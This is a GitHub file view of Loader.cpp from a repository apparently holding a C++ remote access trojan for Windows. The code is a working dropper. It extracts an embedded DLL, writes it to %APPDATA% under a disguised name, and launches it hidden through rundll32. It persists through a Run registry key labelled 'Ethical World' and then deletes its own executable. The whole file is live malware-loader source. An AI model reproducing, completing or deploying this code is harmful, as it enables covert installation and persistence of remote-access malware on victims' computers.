Desktop-RAT-C-/Loader.cpp at master · Ahm2001/Desktop-RAT-C- · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include "includes.h"

INT WINAPI WinMain(HMODULE current, HMODULE previous, LPSTR end, INT show)
{
	PBYTE module_base = PBYTE(Tools::GetImageBase());
	if (module_base != ERROR)
	{
		//extract the dll from section
		DWORD moduke_size = NULL;
		PBYTE dll_memory = Tools::ExtractDllFile(module_base, &moduke_size);


		//move the payload onto %appdata% with some random generated name
		DWORD bytes_written = NULL;
		WCHAR appdata_path[MAX_PATH];

		if (ExpandEnvironmentStringsW(TEXT("%APPDATA%"), appdata_path, MAX_PATH - 1) > 0)
		{

			wsprintfW(appdata_path, TEXT("%s\\%lu.%cl%c"), appdata_path, GetTickCount(), 'd', 'l');
			HANDLE new_file = CreateFileW(appdata_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
			if (new_file != INVALID_HANDLE_VALUE)
			{

				WriteFile(new_file, dll_memory, moduke_size, &bytes_written, NULL);

			}
			CloseHandle(new_file);

		}
		LocalFree(dll_memory);

		WCHAR win_path[MAX_PATH];
		if (ExpandEnvironmentStringsW(TEXT("%WINDIR%"), win_path, MAX_PATH - 1) > 0)
		{
			if (wsprintfW(win_path, TEXT("%s\\System32\\rundll32.exe "), win_path) != NULL)
			{

				lstrcatW(win_path, appdata_path);
				lstrcatW(win_path, L",");
				lstrcatW(win_path, L"FUNENTRY");

				STARTUPINFO startup_inf{ 0 };
				PROCESS_INFORMATION process_information{ 0 };
				startup_inf.cb = sizeof(startup_inf);

				BOOL b = CreateProcessW(NULL, win_path, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW, NULL, NULL, &startup_inf, &process_information);

				if (b)
				{

					HKEY reg_key;
					LONG bb = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &reg_key);
					if (bb == ERROR_SUCCESS)
					{
						RegSetValueEx(reg_key, L"Ethical World", 0, REG_SZ, (LPBYTE)win_path, sizeof(win_path));
						RegCloseKey(reg_key);
					}

				}

			}
		}


	}

	WCHAR del_cmd[MAX_PATH];
	if (ExpandEnvironmentStringsW(TEXT("%WINDIR%"), del_cmd, MAX_PATH - 1) > 0)
	{
		if (wsprintfW(del_cmd, TEXT("%s\\System32\\cmd.exe"), del_cmd) > 0)
		{
			WCHAR app_name[MAX_PATH];
			GetModuleFileNameW(0, app_name, MAX_PATH);


			lstrcatW(del_cmd, L" /c del \"");
			lstrcatW(del_cmd, app_name);
			lstrcatW(del_cmd, L"\"");

			STARTUPINFOW startup_inf = { 0 };
			PROCESS_INFORMATION process_information = { 0 };
			startup_inf.cb = sizeof(startup_inf);

			CreateProcessW(NULL, del_cmd, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW, NULL, NULL, &startup_inf, &process_information);

			return 0;
		}
	}


}